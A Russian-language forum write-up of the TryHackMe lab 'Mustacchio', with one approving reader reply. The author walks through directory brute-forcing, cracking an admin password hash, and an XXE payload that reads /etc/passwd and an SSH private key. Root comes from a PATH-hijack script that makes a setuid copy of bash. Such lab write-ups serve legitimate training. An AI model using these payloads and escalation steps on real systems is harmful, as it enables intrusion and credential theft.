CTF THM WriteUP | Mustacchio

MustacchioMustacchio_THM_COVER.png

Всем привет! Недавно начал писать прохождения различных тачек на TryHackMe на английском языке, теперь буду писать и на русском.

В этот раз я буду решать Mustacchio. У него теги: XXE, PrivEsc.
Если вам будет интересен глубокий разбор XXE - фидбекайте в комментах и сделаю его!

Сканирование
Чтобы каждый раз не писать IP адрес предлагаю сделать записать его в переменную IP
export IP=*.*.*.*

Для начала просканируем машину с помощью rustscan.

2069af64-a24b-4ce9-9937-8ecef116efc3.png


Отлично мы нашли ssh и 2 веб сервера. Давайте изучим их внимательно.

http://IP/index.html

f49c235c-2531-4c2f-9416-93fd960ddae7.png


http://IP:8765/

01b9cf92-d36d-4218-86ac-77a230536447.png


Отлично мы нашли админку этого сайта. Я попробовал SQL инъекцию, к сожалению она не сработала...

Тогда будем пробовать искать директории и файлы. Я обычно использую feroxbuster и в данном случае буду отправлять корректные запросы в BurpSuite и советую вам делать также. Дополнительно у вас будет формироваться полноценный site map в BurpSuite.
Код:
feroxbuster -u "http://$IP:8765" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --thorough -A -P 127.0.0.1:8080 -E -R 200,301,302,403,500,502

Код:
feroxbuster -u "http://$IP" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --thorough -A -P 127.0.0.1:8080 -E -R 200,301,302,403,500,502

c3d2e2a0-c1ef-4b73-941d-386ade9b8f8a.png


Я нашёл интересную директорию custom/, перехожу в неё и там лежат ещё папки.

6657c4f6-b232-49c9-9760-3a0d3a4f2043.png


Меня интересует js/. И тут мы находим users.bak. Скачиваем его и изучаем содержимое.
1156e55b-519e-437c-8e9f-8bdebef61e89.png


В нём мы видим sqlite запрос на создание нового пользователя. И это как раз нужный нам admin.

Взлом
Bruteforce
Сохраняем наш хеш в файл и пытаемся крянуть hash с помощью john.
Bash:
john sqlite.hash -w=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt

2e2b485d-cebf-4d1d-8139-c32ebf27418f.png

Отлично! Мы получили пасс от админа.

XXE
После того, как мы залогинились, мы видим форму добавления комментариев. Тестируем её...
68881e98-bfe3-4b00-bdbc-0b8af84455f4.png
5d676a70-d670-4a4e-8944-2ea375e920a0.png

Поймав запрос в BurpSuite, видим что здесь у нас XML. Логично предположить проэксплуатировать XXE.
Дополнительно проанализировав ответ от сервера видим два комментария. Первый указывает нам на какой-то файл, второй подсказывает, что мы сможем зайти по ssh используя пользователя barry.
15da83b0-39e3-479e-af1f-b36c056c4b5b.png


Смотрим содержимое dontforget.bak
XML:
┌──(kali㉿kali)-[~/temp]
└─$ cat /home/kali/Downloads/dontforget.bak
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>This paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>

Отлично, теперь у нас есть пример XML запроса. Пробуем повторить его:

646ec96d-730e-43e3-8f9d-0d6c45087e3e.png


Всё работает, отлично. Теперь выполним XXE.
XML:
xml=<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+foo+[
+++<!ELEMENT+foo+ANY+>
+++<!ENTITY+xxe+SYSTEM++"file:///etc/passwd"+>]>
<comment>
++<name>NAME-TEST</name>
++<author>AUTHOR-TEST</author>
++<com>&xxe;</com>
</comment>

da6de23b-4db2-48d2-8af1-dfb3fce2a8ad.png


Здесь нас интересует:
joe:x:1002:1002::/home/joe:/bin/bash barry:x:1003:1003::/home/barry:/bin/bash

Вспомнили про комментарий о ssh. Вытащили приватный ключ /home/barry/.ssh/id_rsa.
Но он запаролен к сожалению.

62dd8998-fff0-4f8f-93f1-fcab159375a2.png


Получение доступа к ssh

Для брутфорса приватных ключей ssh всегда используется ssh2john + john.
Bash:
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -w=/usr/share/wordlists/rockyou.txt

bdfab453-3b1a-4d9b-a0c4-5b31d3aa53fd.png


Получили пасс фразу от ключа. Подключаемся!
033e678f-dd2c-4f4d-9d8d-4f89b3f3bc5a.png


Получили первый флаг.
Bash:
barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ cat user.txt
******

Повышение привилегий

Анализируем домашние директории всез пользователей:
ls -laR /home

Нашли файл /home/joe/live_log
Если пробовать просмотреть его с помощью cat, то ничего не разберём. Воспользуемся strings
strings /home/joe/live_log
d661a7fb-9dd1-469d-bac0-e7bb4872b007.png


Видим интересную строку. Где идёт просмотр последних строк лога nginx. Попробуем локально подменить бинарь tail на наш.
В папке /tmp создаем файл tail.
Bash:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

Затем экспортируем /tmp в PATH, добавим разрешение на запуск и запускаем бинарь live_log и пишем bash -p, чтобы открыть root шел
38e18ad6-8411-4759-8af8-b6220d367d99.png


Получили рута, получаем его флаг /root/root.txt
Поздравляю вы прошли эту лабу, если вам понравилось, то пишите комментарии, чтобы вам хотелось ещё изучить!

Rooted!
 
Последнее редактирование модератором:

GoBL1n

Grey Team
04.08.2016
502
131
BIT
283
Подробно, доступно, с кучей скринов, а главное - замазаны вишенки :) так держать!
 
  • Нравится
Реакции: szybnev
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!